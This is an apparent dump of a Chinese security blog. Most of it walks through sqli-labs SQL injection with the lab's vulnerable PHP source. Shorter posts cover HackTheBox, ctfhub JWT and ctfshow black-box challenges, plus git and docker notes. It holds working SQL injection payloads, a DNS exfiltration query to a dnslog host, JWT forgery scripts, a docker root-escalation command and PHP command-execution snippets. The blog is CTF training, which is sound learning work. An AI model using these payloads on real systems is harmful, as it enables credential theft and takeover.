analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\\n");fclose($fp);// connectivity//注意get传参获取到输入的id后先打开一个result.txt然后把你上传的写入到那个文件里这样你再一次操作后你就可以看到你的注入语句真正注进去的是啥了$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//上面一行中$id前后的符号是关键,是注入语句闭合的符号$result=mysql_query($sql);$row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>";//正确回显颜色为绿色 echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } //这是输入正确时的反馈,直接把运行结果告诉你 但是后几关就不一样了 else { echo '<font color= "#FFFF00">';//报错回显为黄色 print_r(mysql_error()); echo "</font>"; } //这是输入错误时的反馈,把mysql_error反馈给你 同样,后几关也不一样了} else { echo "Please input the ID as parameter with numeric value";}//这是反馈你输入为空的?> /* *我为了让读者能看得更清晰,我将注释符的右半部分删去,就像这句一样没有* */(你细品这句话 悖论)我第一个注释是:注意 get 传参,前 10 关前半部分代码不变第二个注释是提示读者要注意每一关的闭合方式(包裹方式)在 if 后 else 前是正确回显部分 在 else 后是错误回显部分这两部分是区分注入方式所需要关注的 先讲理论根据两部分分别是否回显判断注入方式注入方式包含联合查询、布尔盲注、时间盲注、报错注入等 传参最基础的就是?id=1’、username=admin’这类传参语句,后面的’引号是闭合方式上面有讲,他用的啥符号闭合,你就要用相同的符号来闭合你的语句,输入这类最基础的注入语句来判断是否有报错回显 回显是黄色,代码段注释里有写 判断正确回显(绿色)的数据库中数据的列数,即本靶场回显的行数1?id=1’ order by 1--+ 这里的省略号只要不报错 就加大数字,直到报错的前一个数字,就是回显的行数 判断回显的数据是数据库中的哪几列1?id=-1’ union select 1,2,3--+ 这里的数字的最大值要等与上一步得到的那个数上一步 7 报错,那行数就是 6,这一步就要 1,2,3,4,5,6–+看看那几个数字出现在你屏幕上了要注意要 id=一个不正确的值 如 0,-1 之类 这样联合查询之后的返回值会让 union 之后的查询语句的结果在数组的第一列,而后台 php 代码只会回显第一列的数据 查库名1?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 这里把查数据库的 sql 语句,替换掉出现在你屏幕上的一个数字 这里是 3 来回显在屏幕上group_concat(你要查询的数据)from 所在的库 表 列这里查库名即查schema_name 这个数据被保存在information_schema.schemata这样 回显的就是 数据库们 的名字 查表名1?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+ table 表 information_schema.tables 类比上面 table_schema=‘ 库名’这里你要猜一下哪个数据库会放着你想要的数据,然后输在库名那个位置 查列名1?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’--+ 同样类比上面 column 列这里还要猜 上面回显的哪个表里有你要的数据 提取数据激动人心的时候到了 1?id=-1’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from users–+ 同样类比上面 有一处特殊 concat_ws(符号,列名,列名)中间那个符号会被 concat_ws 插入到两组数据之间,就是为了方便看这样就查到数据了,是不是很简单。 limitlimit 是限制那一部分显示,limitx,y 是从 x+1 开始显示 y 个 实操正错回显都有就按上面的步骤一步一步找到数据security———>users——>username&password 这就是靶场数据库的层次图啥的以后再补 理论进阶时间盲注12?id=1’ and sleep (5)–+?id=1‘ and if((left((select schema_name from information_schema.schemata limit 4,1),1,1)=‘s’),1,sleep(3))–+ 这样的句子 sleep()就是延时执行的意思, 让浏览器先睡一会当你想判断对不对的时候,你就让对的睡一会,错的继续肝,这样你就能看出来了 布尔盲注下面几个方法各有优缺点因为能知道 sql-lab 靶场数据库的数据所以刷题时我多用 left实际 substrsubstr(a,b,c)将 a 字段从第 b 个字符读取 c 个字符 ascii将括号中的字符转换为 acsii 码,再在最后进行值大小的判断,正确返回 1,错误返回 0 类似于数学中的二分法 leftleft(a)从第一位开始读取 a 个字符 模糊查询 likea like ‘%b%’ 判断 a 字符串里是否有 ba like ‘b%’ 判断 a 开头是否有 b 数 regexpregexp ‘a’正则表达式 RegExp 对象表示正则表达式,它是对字符串执行模式匹配的强大工具 正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本。许多语言都有正则表达式物理也有正则所以正则是个啥(≧﹏ ≦) 实操进阶有报错回显 无正确回显也就是说你在前四关能看见的绿字在 5-8 关用 you are in 替换了也就是你之前查的库名 表名 列名 和数据不会回显了当使用布尔盲注时 如果判断正确就会显示 you are in不正确的话就会报错下图是第五关第一个用户名 最后一步注入语句之前步骤参考第 1 到 4 关查各类信息的语句并用布尔盲注所用函数包装 正确回显和报错回显都没有不论你输入啥,他都会说 you are in 就像你说 啊对对对 这样 布尔盲注也没法用了你不知道注入语句是对是错这时就要用时间盲注了把布尔盲注再进行包装if(布尔盲注语句,sleep(3),1)正确的话,浏览器会延时 3 秒再运行 POST 传参先讲理论123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263<!--Form to post the data for sql injections Error based SQL Injection--><form action="" name="form1" method="post"> <div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp; <input type="text" name="uname" value=""/> </div> <div> Password : &nbsp;&nbsp;&nbsp; <input type="text" name="passwd" value=""/> </div></br> <div style=" margin-top:9px;margin-left:90px;"> <input type="submit" name="submit" value="Submit" /> </div></form> `上面是前端 通过post传参uname和passwd`<?php// take the variablesif(isset($_POST['uname']) && isset($_POST['passwd'])){ $uname=$_POST['uname']; $passwd=$_POST['passwd'];/后端接收前端传的参数 //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Name:'.$uname); fwrite($fp,'Password:'.$passwd."\\n"); fclose($fp);// connectivity @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { //echo '<font color= "#0000ff">'; echo "<br>"; echo '<font color= "#FFFF00" font size = 4>'; //echo " You Have successfully logged in\\n\\n " ; echo '<font size="3" color="#0000ff">'; echo "<br>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "<br>"; echo "</font>"; echo "<br>"; echo "<br>"; echo '<img src="../images/flag.jpg" />'; /又是这里分成两部分,上面是正确回显 下面是报错回显 echo "</font>"; } else { echo '<font color= "#0000ff" font size="3">'; //echo "Try again looser"; print_r(mysql_error()); echo "</br>"; echo "</br>"; echo "</br>"; echo '<img src="../images/slap.jpg" />'; echo "</font>"; }}?> post传参post 传参有很多方式最本质的就是在输入框传然后是一些插件具有传参功能 hackbar 他们一般需要配合抓包的插件使用较多的是一些抓包软件,burpsuit 等他们既有抓包功能,也有重发器,测试器功能强大 注入语句和 get 传参类型的语句大体相同,不同的地方有原来的 id=1’由于 get 传参,抓包后自动写入 uname/password=所以只需要写后面的 admin’ 加上 sql 执行语句,原理一样,都是让系统执行完传参后继续把 sql 语句执行来回显 这里末尾注释符可用# 实操post 传参同样有三大类 正误回显都有在 burpsuit 重发器里传参,红字部分即为注入语句,这里同样只展示最后一步 其他可按照 get 传参原理只需改动小部分 没正确回显 有报错回显这里我采用了辨识度更高的时间盲注 布尔盲注同样使用 正错回显都没有同上面直接时间盲注 基于报错注入的各种传参方式先讲报错注入updatexmlupdatexml (XML_document, XPath_string, new_value)替换查找到的符合条件的数据 extactvalueextractvalue(XML_document, XPath_string)对 XML 文档进行查询的函数当上述两个函数的 xpath 路径出错时,将 XML_document 报错返回回来注意只能返回 32 个字符,后面的可用 limit 等来限制返回的字符位置 传参方式burp suite 抓包后改相应数据 user-agent 注入1User-Agent:'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or' referer 注入cookie 注入base64 加密的 cookie 注入将 payload 经 base64 加密后上传即可 过滤注释的GET源码中过滤掉了注释符注释符不能用了所以要在闭合上下功夫 12?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '1?id=-1' union select 1,(select group_concat(username) from users),'3 在末尾构造语句使闭合符号与语句组成一个不影响的语句闭合方式多种多样 二次注入首先注册一个用户 admin‘#然后登录修改密码当你修改密码时 后台就执行了 1UPDATE users SET passwd="新密码" WHERE username =' admin' # ' AND password=' 也就是你用 admin’#用户把 admin 用户的密码给改了 过滤过滤 or 和 and将 payload 里所有 and 和 or替换为 anandd 和 oorr这里 password 也要变成 passwoorrd 1?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from users# 过滤下的报错注入2612345678$id= preg_replace('/or/i',"", $id); /strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); /Strip out AND (non case sensitive) $id= preg_replace('/[\\/\\*]/',"", $id); /strip out */ $id= preg_replace('/[--]/',"", $id); /Strip out -- $id= preg_replace('/[#]/',"", $id); /Strip out # $id= preg_replace('/[\\s]/',"", $id); /Strip out spaces $id= preg_replace('/[\\/\\\\\\\\]/',"", $id); /Strip out slashes return $id; 要用到||代替 or information 里的 or 要双写,用||‘1’=‘1 来闭合 1?id=0'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1)||'1'='1 27 1?id=0'||updatexml(1,concat(0x7e,(SeLect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1)||'1'='1 大小写 select 和 union 过滤下的时间盲注26 到 27 关的 a 都是无法报错注入的能用时间盲注过滤方法和不带 a 的关一样 waf12345678910111213141516171819202122232425262728293031323334/ take the variablesif(isset($_GET['id'])){ $qs = $_SERVER['QUERY_STRING']; $hint=$qs; $id1=java_implimentation($qs); $id=$_GET['id']; //echo $id1; whitelist($id1);}/WAF implimentation with a whitelist approach..... only allows input to be Numeric.function whitelist($input){ $match = preg_match("/^\\d+$/", $input); if($match) {//echo "you are good"; //return $match; } else {header('Location: hacked.php'); //echo "you are bad"; }}/ The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).function java_implimentation($query_string){ $q_s = $query_string; $qs_array= explode("&",$q_s); foreach($qs_array as $key => $value){ $val=substr($value,0,2); if($val=="id"){ $id_value=substr($value,3,30); return $id_value; echo "<br>"; break;} }} java_implimentation 模拟 tomcat 的查询函数处理whitelist 白名单过滤 检测到不符合规则就重定向漏洞是 whitelist 只检测了 java_implimentation 输出的第一个参数$id_value后面的逃过检测 注入点在后面 宽字节注入MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,因为过滤方法主要就是在敏感字符前面添加 反斜杠 \\,所以这里想办法干掉反斜杠即可。urlencode(’) = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。 结束注释当转译为‘/时可用’/**/来结束注释 堆叠注入在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。结束一个 sql 语句后继续构造下一条语句,会一起执行 因此产生了堆叠注入。而 union injection(联合注入)也是将两条语句合并在一起,两者之间区别在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据和调用存储过程的目的。这种技术在 SQL 注入中还是比较频繁的。如下展示了堆叠注入插入了一个用户数据 同时也可以进行 dnslog 注入 1?id=1';select load_file(concat('//',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.au0mvd.dnslog.cn/1.txt'));--+ 123desc查看表结构的详细信息desc table_name;此处desc是describe的缩写,用法: desc 表名/查询语句 handler 适用于 select 等过滤 12345handler handler_table open;handler handler_table read first;handler handler_table read next;……handler handler_table close; 二次注入进阶需成功登录才能二次注入12345678910111213141516171819202122232425262728293031323334353637383940414243444546function sqllogin($host,$dbuser,$dbpass, $dbname){ // connectivity//mysql connections for stacked query examples.$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname); $username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"]; // Check connection if (mysqli_connect_errno($con1)) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } else { @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: "); } /* execute multi query */ $sql = "SELECT * FROM users WHERE username='$username' and password='$password'"; if (@mysqli_multi_query($con1, $sql)) { /* store first result set */ if($result = @mysqli_store_result($con1)) { if($row = @mysqli_fetch_row($result)){ if ($row[1]) { return $row[1]; } else{ return 0; } } } else { echo '<font size="5" color= "#FFFF00">'; print_r(mysqli_error($con1)); echo "</font>"; } } else { echo '<font size="5" color= "#FFFF00">'; print_r(mysqli_error($con1)); echo "</font>"; } 这里对 username 和 password 过滤不强可通过万能密码 11’ or '1'='1 登录接下来通过修改密码界面二次注入 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849<?PHPsession_start();if (!isset($_COOKIE["Auth"])){ if (!isset($_SESSION["username"])) { header('Location: index.php'); } header('Location: index.php');}?><?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");if (isset($_POST['submit'])){ # Validating the user input........ $username= $_SESSION["username"]; $curr_pass= mysql_real_escape_string($_POST['current_password']);//原密码 还是万能密码绕过 $pass= mysql_real_escape_string($_POST['password']);//新密码 $re_pass= mysql_real_escape_string($_POST['re_password']); if($pass==$re_pass){ $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_affected_rows(); echo '<font size="3" color="#FFFF00">'; echo '<center>'; if($row==1){ //echo "Password successfully updated"; echo '<img src="../images/password-updated.jpg">'; } else{ header('Location: failed.php'); //echo 'You tried to be smart, Try harder!!!! :( '; } } else{ echo '<font size="5" color="#FFFF00"><center>'; echo "Make sure New Password and Retype Password fields have same value"; header('refresh:2, url=index.php'); }}?><?phpif(isset($_POST['submit1'])){ session_destroy(); setcookie('Auth', 1 , time()-3600); header ('Location: index.php');}?> 他用户名通过 session 获取,所以无法更改其他用户 order by注入1SELECT * FROM users ORDER BY order by 与 where 差不多但不同是 order by 不能使用 union 联合其他都可 也比较灵活从 46 到 53 关皆为 order by 注入 限制次数的注入从 54 关开始,限制了注入次数一旦超过次数就会改变数据一切又要重新开始 58-62 可以报错注入从 62 关开始只能使用盲注id注入部分代码 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182<?phpid注入部分代码//including the Mysql connect parameters.include '../sql-connections/sql-connect-1.php';include '../sql-connections/functions.php';error_reporting(0);$pag = $_SERVER['PHP_SELF']; /generating page address to piggy back after redirects...$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; /characterset for generating random data$times= 10;$table = table_name();$col = column_name(1); / session id column name$col1 = column_name(2); /secret key column name/ Submitting the final answerif(!isset($_POST['answer_key'])){ / resetting the challenge and repopulating the table . if(isset($_POST['reset'])){ setcookie('challenge', ' ', time() - 3600000); echo "<font size=4>You have reset the Challenge</font><br>\\n"; echo "Redirecting you to main challenge page..........\\n"; header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" ); //echo "cookie expired"; } else{ / Checking the cookie on the page and populate the table with random value. if(isset($_COOKIE['challenge'])){ $sessid=$_COOKIE['challenge']; //echo "Cookie value: ".$sessid; } else{ $expire = time()+60*60*24*30; $hash = data($table,$col); setcookie("challenge", $hash, $expire); } echo "<br>\\n"; /take the variables if(isset($_GET['id'])){ $id=$_GET['id']; /logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\\n"); fclose($fp); /update the counter in database next_tryy(); /Display attempts on screen. $tryyy = view_attempts(); echo "You have made : ". $tryyy ." of $times attempts"; echo "<br><br><br>\\n"; /Reset the Database if you exceed allowed attempts. if($tryyy >= ($times+1)){ setcookie('challenge', ' ', time() - 3600000); echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\\n"; echo "Redirecting you to challenge page..........\\n"; header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" ); echo "<br>\\n"; } / Querry DB to get the correct output $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo '<font color= "#00FFFF">'; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">';// print_r(mysql_error()); echo "</font>"; } } else{ echo "Please input the ID as parameter with numeric value as done in Lab excercises\\n<br><br>\\n</font>"; echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>"; echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ; } }} 答案提交部分 1234567891011121314151617181920212223242526272829else{ echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">'; $key = addslashes($_POST['key']); $key = mysql_real_escape_string($key); //echo $key; /Query table to verify your result $sql="SELECT 1 FROM $table WHERE $col1= '$key'"; //echo "$sql"; $result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error()); $row = mysql_fetch_array($result); if($row) { echo '<font color= "#FFFF00">'; echo "\\n<br><br><br>"; echo '<img src="../images/Less-54-1.jpg" />'; echo "</font>"; header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" ); } else { echo '<font color= "#FFFF00">'; echo "\\n<br><br><br>"; echo '<img src="../images/slap1.jpg" />'; header( "refresh:3;url=index.php" ); //print_r(mysql_error()); echo "</font>"; }}?>","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"sql","slug":"sql","permalink":"http://s1rius.space/tags/sql/"},{"name":"sqli-lab","slug":"sqli-lab","permalink":"http://s1rius.space/tags/sqli-lab/"}],"author":"s1rius"},{"title":"hackthebox合集","slug":"htb","date":"2023-07-06T12:36:46.918Z","updated":"2024-05-20T09:27:37.253Z","comments":true,"path":"2023/07/htb/","permalink":"http://s1rius.space/2023/07/htb/","excerpt":"","text":"共做出三道题,前两道题 wp 正在补,但现在又有点想转去做 vulnhub easyShoppy信息收集老样子 先 nmap 扫下 有 22 和 80 然后将域名加入 hosts 子域名扫描 可以使用 gobuster 或各种 fuzz 工具如 wfuzz 本来想用 oneforall 扫子域名,试了半天一堆错误,后来问学长,oneforall 是调用了一堆子域名解析的 扫到 mattermost.shoppy.htb 加进 hosts 打开发现是个登陆界面,先放着 跑下主站的域名 发现有个/admin 登录根据黑盒测试老套路,试试弱口令,不成功,试试万能密码跑下 发现admin'||''==='成功进入 进入后发现搜索框,可进行大量尝试 当搜索到 admin 后出现 passwordhash 继续尝试后发现搜索admin'||''==='会出现两个 hash 使用 hashcat 爆破 josh:remembermethisway 然后进入之前扫到的那个子域名尝试登陆,成功 又是 htb 经典频道页面 翻找后发现 尝试使用 ssh 连接 password:Sh0ppyBest@pp! user get√ rootssh 进入后 ls 发现已经有老哥把经典 linepeas 传进去了 开跑! 然后爆出一堆 cve 先放一边 还在后面看到一些 password 字段的文件去看看 password:Sample 调用下密码管理器 再次使用 ssh 登录 deploy 账户 进入后又没啥思路了 准备走 cve 了 走前看了眼 wp 发现聊天页下面还有段话 发现 docker 部署尝试 docker 提权 1docker run -v /:/mnt --rm -it alpine chroot /mnt sh 其实后来想想 linpeas 里出现了提示 deplay 在 root 权限的 docker 组里,当时要是细看的话应该也能想到 后面跟着 wp 做 cve 也懒得去试了 最后给师傅们留下截图 这回 cve 都没用,给个简单低评吧~","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://s1rius.space/tags/ctfshow/"}],"author":"s1rius"},{"title":"ctfhub-jwt","slug":"jwt","date":"2023-07-06T12:36:46.918Z","updated":"2024-05-20T09:27:37.182Z","comments":true,"path":"2023/07/jwt/","permalink":"http://s1rius.space/2023/07/jwt/","excerpt":"","text":"基础知识题目附件:jwt 基础知识 flag 在下面 需要了解一下 jwt 组成部分 敏感信息泄露随便输个 进去查消息头 然后在 jwt.io decode 一共两部分 ag 是另一半 无签名12345678910import jwtalgorithm="none"payload = { "username": "admin", "password": "admin", "role":"admin" }key = ""encoded = jwt.encode(payload,key,algorithm)print(encoded) jwt 的签名可以为无 今天写这个脚本的时候命名为 jwt.py 结果报错 但是系统环境运行正常 才知道是文件名的事 import jwt 他先自己引用自己了 抓包 把 cookie 里的 token 改为这脚本的运行结果 弱密钥需要用到jwt-cracker 依次执行即可 1234git clone https://github.com/brendan-rius/c-jwt-cracker./c-jwt-crackermake./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6IjEiLCJyb2xlIjoiZ3Vlc3QifQ.w4i8KWRWmY_xTYtRnFZnp5vLIxPG2abCly6lW6QxTKs 然后得出该 jwt 密钥 然后放之前那个网站 改 role 为 admin 返回提交 token 修改签名算法把 cookie 清空后提交用户名密码 得到一串 jwt 丢进发现是 RS256 编码(不对称式编码) 需要改为对称式编码 如 HS256 题目中给了 public key 用 PUBLIC_KEY 采用 HS256 进行加密 payload 构造 token 借用大神 h0ld1rs的脚本 无签名那段脚本 是勉勉强强写出来的 这题就先用大神的脚本吧 我太菜了 123456789101112131415161718192021222324252627## coding=GBKimport hmacimport hashlibimport base64file = open('publickey.pem')#需要将文中的publickey下载 与脚本同目录key = file.read()## Paste your header and payload hereheader = '{"typ": "JWT", "alg": "HS256"}'payload = '{"username": "admin", "role": "admin"}'## Creating encoded headerencodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")## Creating encoded payloadencodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))encodePayload = str(encodePBytes, "utf-8").rstrip("=")## Concatenating header and payloadtoken = (encodeHeader + "." + encodePayload)## Creating signaturesig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")print(token + "." + sig) 运行后把 token 返回去验证 成功","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"jwt","slug":"jwt","permalink":"http://s1rius.space/tags/jwt/"},{"name":"json web token","slug":"json-web-token","permalink":"http://s1rius.space/tags/json-web-token/"}],"author":"s1rius"},{"title":"ctfshow黑盒测试","slug":"ctfshow黑盒测试","date":"2023-07-06T12:36:46.917Z","updated":"2024-05-20T09:27:37.275Z","comments":true,"path":"2023/07/ctfshow黑盒测试/","permalink":"http://s1rius.space/2023/07/ctfshow%E9%BB%91%E7%9B%92%E6%B5%8B%E8%AF%95/","excerpt":"","text":"web380先看源码没发现啥 然后再点点看看功能 发现文章页的格式为 page_n.php 猜测为 sql 注入 直接在 n 处注入无效 尝试?id=处注入 发现报错 file_get_contents(1'.php) 直接读取 flag?id=flag flag 出现 web381再次尝试上题思路,发现无回显 再次翻看源码 发现到 css 文件中出现了一个特殊地址 尝试打开,之后回退文件地址 直到退至/alsckdfy/出现 flag 一些文件的调用可能会来自某些特殊的地址 如本题中后台和前站共用同一个 css 文件 其他如通过 cdn、图床等溯源回网上仓库(github 等) 即可查到源码,或找到后台等特殊地址 web382-383继续访问上题出现的后台地址 发现出现了个后台登陆界面 既然难度是梯度上升 可以考虑弱密码或者万能密码 进入 flag get√ web384 hint:密码前 2 位是小写字母,后三位是数字 再次进入后台登录页面 用户名肯定是 admin 然后就是爆破密码 方法一:写个脚本生成密码字典 方法二:使用 burp 爆破时 将 password 设为两个变量 $1 设置成小写字母长度:2 $2 设置成 3 位数字 password=xy123 web385登陆界面进不去 扫目录 发现有 install 没删 重置管理员密码 一些网页模板的安装通常通过/install 目录进行安装 部分开发人员忘记删除 install 等目录就会暴露出一些特殊的功能点 如重置密码功能点 模板名、版本号、配置信息等敏感信息 重置后密码为 admin888 web386再次访问 install 发现有个 lock.bat 给锁定住了 最开始几道题是前端用了后端文件 这题回去访问前端的同名文件 即本来应该调用的前端页面 发现第一行注释 访问 clear :“清理成功” 回想到,install 里的 lock,直接删 clear.php?file=./install/lock.dat 这次访问 install 能重置了 返回后台登录初始账户 387发现 robots 提示 debug,访问 提示 file 不存在 尝试 get 进去个 file 使用 log 执行命令将 lock 删除 <?php unlink('/var/www/html/install/lock.dat');?> 还有种执行方式是将命令通过读取文件显示回显 <?php system('==shell== > /var/www/html/1.txt');?>","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://s1rius.space/tags/ctfshow/"}],"author":"s1rius"},{"title":"git命令","slug":"git","date":"2023-07-06T12:36:46.917Z","updated":"2024-05-20T09:27:37.197Z","comments":true,"path":"2023/07/git/","permalink":"http://s1rius.space/2023/07/git/","excerpt":"","text":"创建仓库命令initgit init 命令用于在目录中创建新的 Git 仓库。在文件夹中,会被创建出一个.git 的一个隐藏文件,这时,本地库已经初始化完成. clonegit clone 拷贝一个 Git 仓库到本地,让自己能够查看该项目,或者进行修改。拷贝项目命令格式如下: 1git clone [url] 提交与修改addgit add 命令可将该文件添加到暂存区。 添加一个或多个文件到暂存区 commitgit commit 命令将暂存区内容添加到本地仓库中。提交暂存区到本地仓库中: 1git commit -m [message] [message] 可以是一些备注信息。 statusgit status 命令用于查看在你上次提交之后是否有对文件进行再次修改。 rmgit rm 命令用于删除文件。如果只是简单地从工作目录中手工删除文件,运行 git status 时就会在 Changes not staged for commit 的提示。 mvgit mv 命令用于移动或重命名一个文件、目录或软连接。 1git mv [file] [newfile] 如果新文件名已经存在,但还是要重命名它,可以使用 -f 参数: 1git mv -f [file] [newfile] 远程操作remote显示所有远程仓库: 1git remote -v pullgit pull 命令用于从远程获取代码并合并本地的版本。 1git pull <远程主机名> <远程分支名>:<本地分支名> pushgit push 命用于从将本地的分支版本上传到远程并合并。 1git push <远程主机名> <本地分支名>:<远程分支名>","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"git","slug":"git","permalink":"http://s1rius.space/tags/git/"}],"author":"s1rius"},{"title":"kali安装docker","slug":"docker","date":"2023-07-06T12:36:46.917Z","updated":"2024-05-20T09:27:37.320Z","comments":true,"path":"2023/07/docker/","permalink":"http://s1rius.space/2023/07/docker/","excerpt":"","text":"kali 安装 docker12345678apt-get updateapt-get install docker-engine## 安装结束,打开docker服务service docker start## 验证安装,运行测试样例docker --versiondocker run hello-world#测试 docker 常用命令12345docker --versiondocker imagesdocker ps -adocker run -d --name 123 -p 127.0.0.1:80:80 镜像名docker stop 123 其他常用命令见菜鸟教程 dockers 底层原理Namespaces 命名空间是 Linux 为我们提供的用于分离进程树、网络接口、挂载点以及进程间通信等资源的方法。在日常使用 Linux 时,我们并没有运行多个完全分离的服务器的需要,但是如果我们在服务器上启动了多个服务,这些服务其实会相互影响的,每一个服务都能看到其他服务的进程,也可以访问宿主机器上的任意文件,这是很多时候我们都不愿意看到的,我们更希望运行在同一台机器上的不同服务能做到完全隔离,就像运行在多台不同的机器上一样。 CGroups 我们通过 Linux 的命名空间为新创建的进程隔离了文件系统、网络并与宿主机器之间的进程相互隔离,但是命名空间并不能够为我们提供物理资源上的隔离,比如 CPU 或者内存,如果在同一台机器上运行了多个对彼此以及宿主机器一无所知的『容器』,这些容器却共同占用了宿主机器的物理资源。如果其中的某一个容器正在执行 CPU 密集型的任务,那么就会影响其他容器中任务的性能与执行效率,导致多个容器相互影响并且抢占资源。如何对多个容器的资源使用进行限制就成了解决进程虚拟资源隔离之后的主要问题,而 Control Groups(简称 CGroups)就是能够隔离宿主机器上的物理资源,例如 CPU、内存、磁盘 I/O 和网络带宽。在 CGroup 中,所有的任务就是一个系统的一个进程,而 CGroup 就是一组按照某种标准划分的进程,在 CGroup 这种机制中,所有的资源控制都是以 CGroup 作为单位实现的,每一个进程都可以随时加入一个 CGroup 也可以随时退出一个 CGroup。","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"kali","slug":"kali","permalink":"http://s1rius.space/tags/kali/"},{"name":"docker","slug":"docker","permalink":"http://s1rius.space/tags/docker/"}],"author":"s1rius"},{"title":"ctfhub-彩蛋","slug":"CTFHub彩蛋","date":"2023-07-06T12:36:46.916Z","updated":"2024-05-20T09:27:37.291Z","comments":true,"path":"2023/07/CTFHub彩蛋/","permalink":"http://s1rius.space/2023/07/CTFHub%E5%BD%A9%E8%9B%8B/","excerpt":"","text":"工具 彩蛋一开始的想法是工具一共有 8 页,想抓个包改下看看有没有第九页抓包后发现不管哪一页 limit 都是 12 但 offset 在变化于是这样设置参数在长度为 1000 到 6、7 千左右随便一个双击后 点击响应 看响应包在最后一行 首页 彩蛋api中间框内隐藏着两行字ctfhub{c18732f48a96c40d40a06e74b1305706} 题目入口 彩蛋在 web-ssrf 中间那一列的某些题传参错误时会出现详情见ctfhub-ssrfpost 最后一行介绍 公众号公众号彩蛋坑的一批!首先要先绑定然后点彩蛋它提示要回复正确的关键词我*#@%我回复过 彩蛋 关键词 egg ctfhub CTFHub 拿来把你 CTFer 自己人 …… 到底没想到竟然是 flag 投稿提交 彩蛋只找到了前半部分分别在题目提交和 wp 提交页面的最后 1234ctfhub{029e02eb3a1 